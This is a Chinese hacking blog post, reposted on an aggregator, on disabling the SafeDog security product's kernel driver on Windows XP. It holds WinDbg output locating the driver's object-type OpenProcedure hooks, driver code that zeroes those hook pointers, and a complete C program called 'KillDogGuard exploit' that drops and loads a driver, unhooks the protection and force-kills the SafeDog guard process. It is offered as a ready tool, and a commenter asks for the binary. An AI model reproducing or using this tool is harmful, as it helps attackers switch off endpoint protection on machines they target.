记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

调戏某狗 SafeDogFileGuard.sys

2013-11-20 17:30
  1. 系统 :windows 7 x64  + vs 2008
  2. 测试 :vmware  windows xp
  3. 调试 :windbg 双机调试

复制代码

1:前言
最近尼玛工作了,时间比较紧,但最忙也不能忘了咱们法克周年庆  调戏某狗 SafeDogFileGuard.sys
遂连夜整理之前学习内核的一个笔记,和大家一起学习,如有兴趣,这几期安全参考会连载一些这方面的文章.
文本探讨如果在r0 层恢复某狗的驱动,从而去掉其各种限制.当然r3 层也是有很多猥琐方法,本文暂先不表.
首先用 PCHunter 查看驱动SafeDogFileGuard.sys

  1. [PC Hunter Standard][ObjectType Hook]: 15
  2. 函数名                当前函数地址  Hook            原地址   Object类型                   地址                当前函数地址所在模块
  3. …….
  4. OpenProcedure         0xB145E79A  object hook         -           PsThreadType           0x8055A35C        C:\WINDOWS\system32\DRIVERS\SafeDogFileGuard.sys
  5. OpenProcedure         0xB145E5CE  object hook         -           PsProcessType  0x8055A358        C:\WINDOWS\system32\DRIVERS\SafeDogFileGuard.sys
  6. ……

复制代码

两个 object  hook
关于object hook  介绍可以查看本文参考

2:windbg 调试

某狗hook 了OpenProcedure

先来用windbg调试之

  1. kd> dd PsProcessType     //获取 PsProcessType 地址
  2. 8055a358  89e34e38 89e34c68 e10017e8 00000002
  3. 8055a368  00000003 00000000 00000000 00000000
  4. 8055a378  00000000 00000000 e18ee2ff e1754857
  5. 8055a388  e16bba07 00000000 00000000 00000000
  6. 8055a398  00000000 00000000 e19022c7 e209cc27
  7. 8055a3a8  00000000 00000000 00000000 00000000
  8. 8055a3b8  00000000 00000000 00000002 00000000
  9. 8055a3c8  00000000 00000000 00000000 00000000
  10. kd> dt  89e34e38 _object_type  //查看 _object_type 结构体 找到  _OBJECT_TYPE_INITIALIZER 结构偏移
  11. ntdll!_OBJECT_TYPE
  12.    +0×000 Mutex            : _ERESOURCE
  13.    +0×038 TypeList         : _LIST_ENTRY [ 0x89e34e70 - 0x89e34e70 ]
  14.    +0×040 Name             : _UNICODE_STRING “Process”
  15.    +0×048 DefaultObject    : (null)
  16.    +0x04c Index            : 5
  17.    +0×050 TotalNumberOfObjects : 0x1a
  18.    +0×054 TotalNumberOfHandles : 0×63
  19.    +0×058 HighWaterNumberOfObjects : 0x1c
  20.    +0x05c HighWaterNumberOfHandles : 0×71
  21.    +0×060 TypeInfo         : _OBJECT_TYPE_INITIALIZER
  22.    +0x0ac Key              : 0x636f7250
  23.    +0x0b0 ObjectLocks      : [4] _ERESOURCE
  24. kd>  dt  89e34e38+0×060  _OBJECT_TYPE_INITIALIZER
  25. ntdll!_OBJECT_TYPE_INITIALIZER
  26.    +0×000 Length           : 0x4c
  27.    +0×002 UseDefaultObject : 0 ”
  28.    +0×003 CaseInsensitive  : 0 ”
  29.    +0×004 InvalidAttributes : 0xb0
  30.    +0×008 GenericMapping   : _GENERIC_MAPPING
  31.    +0×018 ValidAccessMask  : 0x1f0fff
  32.    +0x01c SecurityRequired : 0×1 ”
  33.    +0x01d MaintainHandleCount : 0 ”
  34.    +0x01e MaintainTypeList : 0 ”
  35.    +0×020 PoolType         : 0 ( NonPagedPool )
  36.    +0×024 DefaultPagedPoolCharge : 0×1000
  37.    +0×028 DefaultNonPagedPoolCharge : 0×290
  38.    +0x02c DumpProcedure    : (null)
  39.    +0×030 OpenProcedure    : 0xb137a5ce     long  +0
  40.    +0×034 CloseProcedure   : (null)
  41.    +0×038 DeleteProcedure  : 0x805c77e2     void  nt!PspProcessDelete+0
  42.    +0x03c ParseProcedure   : (null)
  43.    +0×040 SecurityProcedure : 0x805edcf6     long  nt!SeDefaultObjectMethod+0
  44.    +0×044 QueryNameProcedure : (null)
  45.    +0×048 OkayToCloseProcedure : (null)
  46. kd> u 0xb137a5ce  //汇编0xb137a5ce
  47. SafeDogFileGuard+0x85ce:
  48. b137a5ce 8bff            mov     edi,edi
  49. b137a5d0 55              push    ebp
  50. b137a5d1 8bec            mov     ebp,esp
  51. b137a5d3 8b450c          mov     eax,dword ptr [ebp+0Ch]
  52. b137a5d6 83ec0c          sub     esp,0Ch
  53. b137a5d9 56              push    esi
  54. b137a5da 33f6            xor     esi,esi
  55. b137a5dc 57              push    edi
  56. kd> dt _OBJECT_TYPE_INITIALIZER poi(PsThreadType)+0×60  //根据上面结果一步到位
  57. ntdll!_OBJECT_TYPE_INITIALIZER
  58.    +0×000 Length           : 0x4c
  59.    +0×002 UseDefaultObject : 0 ”
  60.    +0×003 CaseInsensitive  : 0 ”
  61.    +0×004 InvalidAttributes : 0xb0
  62.    +0×008 GenericMapping   : _GENERIC_MAPPING
  63.    +0×018 ValidAccessMask  : 0x1f03ff
  64.    +0x01c SecurityRequired : 0×1 ”
  65.    +0x01d MaintainHandleCount : 0 ”
  66.    +0x01e MaintainTypeList : 0 ”
  67.    +0×020 PoolType         : 0 ( NonPagedPool )
  68.    +0×024 DefaultPagedPoolCharge : 0
  69.    +0×028 DefaultNonPagedPoolCharge : 0×288
  70.    +0x02c DumpProcedure    : (null)
  71.    +0×030 OpenProcedure    : 0xb137a79a     long  +0
  72.    +0×034 CloseProcedure   : (null)
  73.    +0×038 DeleteProcedure  : 0x805c796a     void  nt!PspThreadDelete+0
  74.    +0x03c ParseProcedure   : (null)
  75.    +0×040 SecurityProcedure : 0x805edcf6     long  nt!SeDefaultObjectMethod+0
  76.    +0×044 QueryNameProcedure : (null)
  77.    +0×048 OkayToCloseProcedure : (null)
  78. kd> u 0xb137a79a
  79. SafeDogFileGuard+0x879a:
  80. b137a79a 8bff            mov     edi,edi
  81. b137a79c 55              push    ebp
  82. b137a79d 8bec            mov     ebp,esp
  83. b137a79f 83ec30          sub     esp,30h
  84. b137a7a2 53              push    ebx
  85. b137a7a3 56              push    esi
  86. b137a7a4 57              push    edi
  87. b137a7a5 ff7510          push    dword ptr [ebp+10h]

复制代码

3:代码恢复 object hook

根据2 调试结果
驱动入口中写入

  1.   ULONG uProcssAddr=(ULONG)(*PsProcessType)+0×60+0×30; //获取  OpenProcdure [PsProcessType] 指针
  2.    KdPrint((“[+] OpenProcdure [PsProcessType]  0x%08x\n”,uProcssAddr));
  3.    *(PULONG)uProcssAddr = 0×00000000; // OpenProcdure [PsProcessType] 指针清零
  4.    ULONG uThreadAddr=(ULONG)(*PsThreadType)+0×60+0×30;
  5.    KdPrint((“[+] OpenProcdure [PsThreadType]  0x%08x\n”,uThreadAddr));
  6.    *(PULONG)uThreadAddr = 0×00000000; // OpenProcdure [PsThreadType] 指针清零

复制代码

windbg  调试日志

  1. [+] ——————– DriverEntry  —————–
  2. Break instruction exception – code 80000003 (first chance)
  3. HelloDrive!DriverEntry+0xaf:
  4. bac7922f cc              int     3
  5. kd> p
  6. HelloDrive!DriverEntry+0xb0:
  7. bac79230 8b0d18a0c7ba    mov     ecx,dword ptr [HelloDrive!PsProcessType (bac7a018)]
  8. kd> p
  9. HelloDrive!DriverEntry+0xc1:
  10. bac79241 8b45fc          mov     eax,dword ptr [ebp-4]
  11. kd> p
  12. [+] OpenProcdure [PsProcessType]  0x89e34ec8
  13. HelloDrive!DriverEntry+0xd2:
  14. bac79252 8b4dfc          mov     ecx,dword ptr [ebp-4]
  15. kd> p
  16. HelloDrive!DriverEntry+0xdb:
  17. bac7925b 8b1514a0c7ba    mov     edx,dword ptr [HelloDrive!PsThreadType (bac7a014)]
  18. kd> p
  19. HelloDrive!DriverEntry+0xeb:
  20. bac7926b 8b4df8          mov     ecx,dword ptr [ebp-8]
  21. kd> p
  22. [+] OpenProcdure [PsThreadType]  0x89e34cf8
  23. HelloDrive!DriverEntry+0xfc:
  24. bac7927c 8b55f8          mov     edx,dword ptr [ebp-8]
  25. kd> p
  26. HelloDrive!DriverEntry+0×105:
  27. bac79285 33c0            xor     eax,eax
  28. kd> dd  poi(PsProcessType)+0×60+0×30 l1
  29. 89e34ec8  00000000
  30. kd> dd  poi(PsThreadType)+0×60+0×30 l1
  31. 89e34cf8  00000000
  32. kd> g
  33. [+] ——————– Driver Unload —————–

复制代码

指针已经的值为 00000000 说明hook 已经废了
现在就可以干一系列的猥琐事了
比如

  1. C:\Documents and Settings\Administrator>taskkill /im SafeDogGuardCenter.exe /f
  2. 成功: 已终止进程 “SafeDogGuardCenter.exe”,其 PID 为 1156。
  3. C:\Documents and Settings\Administrator>net  user
  4. \\FUCKAV-A5A6BAA4 的用户帐
  5. ——————————————————————————-
  6. Administrator            Guest                    HelpAssistant
  7. SUPPORT_388945a0         test
  8. 命令成功完成。

复制代码

4:KillDogGuard  编写

为了方便 写成单个文件  其执行过程为

  1. 运行 KillDogGuard.exe -> 释放 KillDogGuard.sys -> 加载驱动 启动-> unhook OpenProcdure  ->结束守护进程 ->卸载驱动 删除文件

复制代码

vc 6.0 代码

  1. #include “stdafx.h”
  2. #include “resource.h”
  3. #include  <STDIO.H>
  4. #include <WINDOWS.H>
  5. #define  DRIVE “KillDogGuard.sys”
  6. void msg(char* strMsg,int type=0){
  7.         char*  strDef=”[*]“;
  8.         if(type)  strDef = (type == 1 )  ?  ”[+]” : “[-]“;
  9.         printf(“%s%s\r\n”,strDef,strMsg);
  10. }
  11. BOOL LoadDriver(char* lpszDriverName,char* lpszDriverImagePath)
  12. {
  13. BOOL bRet=FALSE;
  14.         SC_HANDLE hSeriverMgr=NULL;
  15.         SC_HANDLE hSeriverDDK=NULL;
  16.         //打开SCM控制管理器
  17.         hSeriverMgr=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  18.         if(hSeriverMgr==NULL)
  19.         {
  20.                 bRet=FALSE;
  21.                 goto BeforeLeave;
  22.         }
  23.         else
  24.         {
  25.         }
  26.         //创建驱动对应的服务
  27.         hSeriverDDK=CreateService(
  28.                                   hSeriverMgr,//服务管理器句柄
  29.                           lpszDriverName,//驱动文件的注册表名
  30.                                   lpszDriverName,//注册表显示文件名
  31.                                   SERVICE_ALL_ACCESS,//加载驱动程序的访问权限
  32.                                   SERVICE_KERNEL_DRIVER,//表示加载的服务是驱动程序
  33.                                   SERVICE_DEMAND_START,//注册表驱动程序的start值
  34.                                   SERVICE_ERROR_IGNORE,//注册表驱动程序的ErrorControl的值
  35.                                   lpszDriverImagePath,//注册表驱动程序的ImagePath的路径
  36.                                   NULL,
  37.                                   NULL,
  38.                                   NULL,
  39.                                   NULL,
  40.                                   NULL
  41.                 );
  42.         DWORD dwRtn;
  43.         if(hSeriverDDK==NULL)
  44.         {
  45.                 dwRtn=GetLastError();
  46.                 if(dwRtn!=ERROR_IO_PENDING && dwRtn!=ERROR_SERVICE_EXISTS)
  47.                 {
  48.                         bRet=FALSE;
  49.                         goto BeforeLeave;
  50.                 }
  51.                 else
  52.                 {
  53.                 }
  54.                 //服务已经创建过了,只需要打开即可
  55.                 hSeriverDDK=OpenService(hSeriverMgr,lpszDriverName,SERVICE_ALL_ACCESS);
  56.                 if(hSeriverDDK==NULL)
  57.                 {
  58.                         dwRtn=GetLastError();
  59.                         bRet=FALSE;
  60.                         goto BeforeLeave;
  61.                 }
  62.                 else
  63.                 {
  64.                 }
  65.         }            //曾经因为某种原因创建过,现在打开结束了
  66.         else//这里是刚创建的,现在打开
  67.         {
  68.         }
  69.         //开启此服务
  70.         bRet=StartService(hSeriverDDK,NULL,NULL);
  71.         if(!bRet)//若不成功
  72.         {
  73.                 DWORD dwRtn=GetLastError();
  74.                 if(dwRtn!=ERROR_IO_PENDING && dwRtn!=ERROR_SERVICE_ALREADY_RUNNING)
  75.                 {
  76.                         bRet=FALSE;
  77.                         goto BeforeLeave;
  78.                 }
  79.                 else
  80.                 {
  81.                         if(dwRtn==ERROR_IO_PENDING)
  82.                         {
  83.                         bRet=FALSE;
  84.                         goto BeforeLeave;
  85.                         }
  86.                         else
  87.                         {
  88.                                 bRet=TRUE;
  89.                                 goto BeforeLeave;
  90.                         }
  91.                 }
  92.         }
  93. bRet=TRUE;
  94. BeforeLeave:
  95. if(hSeriverDDK)
  96.         {
  97.                 CloseServiceHandle(hSeriverDDK);
  98.         }
  99. if(hSeriverMgr)
  100.         {
  101.                 CloseServiceHandle(hSeriverMgr);
  102.         }
  103.         return bRet;
  104. }
  105. BOOL UnLoadNTDriver(char* lpszSerName)
  106. {
  107.         BOOL bRet;
  108.     bRet=FALSE;
  109.         SC_HANDLE hSeriverMgr=NULL;
  110.         SC_HANDLE hSeriverDDK=NULL;
  111.         SERVICE_STATUS Svrsta;
  112.         //打开SCM管理器
  113.         hSeriverMgr=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  114.         if(hSeriverMgr==NULL)
  115.         {
  116.                 bRet=FALSE;
  117.                 goto BeforeLeave;
  118.         }
  119.         else
  120.         {
  121.         }
  122.         //打开对应的服务
  123.         hSeriverDDK=OpenService(hSeriverMgr,lpszSerName,SERVICE_ALL_ACCESS);
  124.         if(hSeriverDDK==NULL)
  125.         {
  126.                 bRet=FALSE;
  127.                 goto BeforeLeave;
  128.         }
  129.         else
  130.         {
  131.         }
  132.         //停止服务程序,如果停止失败,只有重新启动才能动态加载
  133.         if(!ControlService(hSeriverDDK,SERVICE_CONTROL_STOP,&Svrsta))
  134.         {
  135.         }
  136.         else
  137.         {
  138.         }
  139.         //动态卸载驱动程序
  140.         if(!DeleteService(hSeriverDDK))
  141.         {
  142.         }
  143.         else
  144.         {
  145.         }
  146.         bRet=TRUE;
  147. BeforeLeave:
  148.         if(hSeriverDDK)
  149.         {
  150.                 CloseServiceHandle(hSeriverDDK);
  151.         }
  152.         if(hSeriverMgr)
  153.         {
  154.                 CloseServiceHandle(hSeriverMgr);
  155.         }
  156.         return bRet;
  157. }
  158. int main(int argc, char* argv[])
  159. {
  160.         msg(“KillDogGuard exploit By Yaseng”);
  161.         HGLOBAL hRes;
  162.         HRSRC   hResInfo;
  163.         DWORD   dwFileSize;
  164.         BYTE*   lpDataBuffer;
  165.         hResInfo=FindResource(NULL,MAKEINTRESOURCE(IDR_SYS1),”SYS”);
  166.         if (hResInfo==NULL)
  167.         {
  168.                 msg(“FindResource KillDogGuard.sys failed”,-1);
  169.                 return false;
  170.         }
  171.         hRes=LoadResource(NULL,hResInfo);
  172.         if (hRes==NULL)
  173.         {
  174.                 msg(“LoadResource KillDogGuard.sys failed”,-1);
  175.                 return FALSE;
  176.         }
  177.         dwFileSize=SizeofResource(NULL,hResInfo);
  178.         HANDLE  hFile = CreateFile(“KillDogGuard.sys”, GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  179.     if ( hFile == INVALID_HANDLE_VALUE )
  180.         {
  181.                 msg(“CreateFile KillDogGuard.sys failed”,-1);
  182.             return false;
  183.     }
  184.         DWORD   dwWrite=0;
  185.     WriteFile(hFile,hRes,dwFileSize,&dwWrite,NULL);
  186.         if (dwWrite < 0)
  187.         {
  188.                 return false;
  189.         }
  190.         msg(“Release KillDogGuard.sys succeed “,1);
  191.     CloseHandle( hFile );
  192.    char pBuf[MAX_PATH];
  193.    GetCurrentDirectory(MAX_PATH,pBuf);
  194.    strcat(pBuf,”\\KillDogGuard.sys”);
  195.         if(LoadDriver(DRIVE,pBuf)){
  196.       msg(“InstallDrive  KillDogGuard.sys succeed “,1);
  197.         }else{
  198.       msg(“InstallDrive  KillDogGuard.sys failed “,-1);
  199.           DeleteFile(pBuf);
  200.       return false;
  201.         }
  202.     //do something
  203.         system(“taskkill /im SafeDogGuardCenter.exe /f”);
  204.     UnLoadNTDriver(DRIVE);
  205.     DeleteFile(pBuf);
  206.     msg(“KillDogGuard exploit succeed -_- good luck !!!”,1);
  207.         return 0;
  208. }

复制代码

ps:在 xp  32 位 测试通过 2003 晚上下班再测试,由于涉及系统内核,可能会导致蓝屏等,请在虚拟机中测试
高清无码图

 调戏某狗 SafeDogFileGuard.sys

5:参考资料

object hook :http://bbs.pediy.com/showthread.php?t=128161

  • » 转载保留版权:Panni_007 Security
  • » 本文链接地址:调戏某狗 SafeDogFileGuard.sys
  • » 如果喜欢可以:点此订阅本站
  • 53d4e0d893227499f659c9d8412ed85a

    转载请注明:Panni_007 Security » 调戏某狗 SafeDogFileGuard.sys

    知识来源: panni007.com/2013/11/20/1613.html

    阅读:439707 | 评论:1 | 标签:黑客攻防

    想收藏或者和大家分享这篇好文章→复制链接地址

    “调戏某狗 SafeDogFileGuard.sys”共有1条留言

    1. 3q @2014-11-26 02:09 回复

      killdogguard.exe 能共享下吗 ,netpride@qq.com 谢谢

    发表评论

    姓名:

    邮箱:

    网址:

    验证码:

    公告

    关注公众号hackdig,学习最新黑客技术

    推广

    工具

    标签云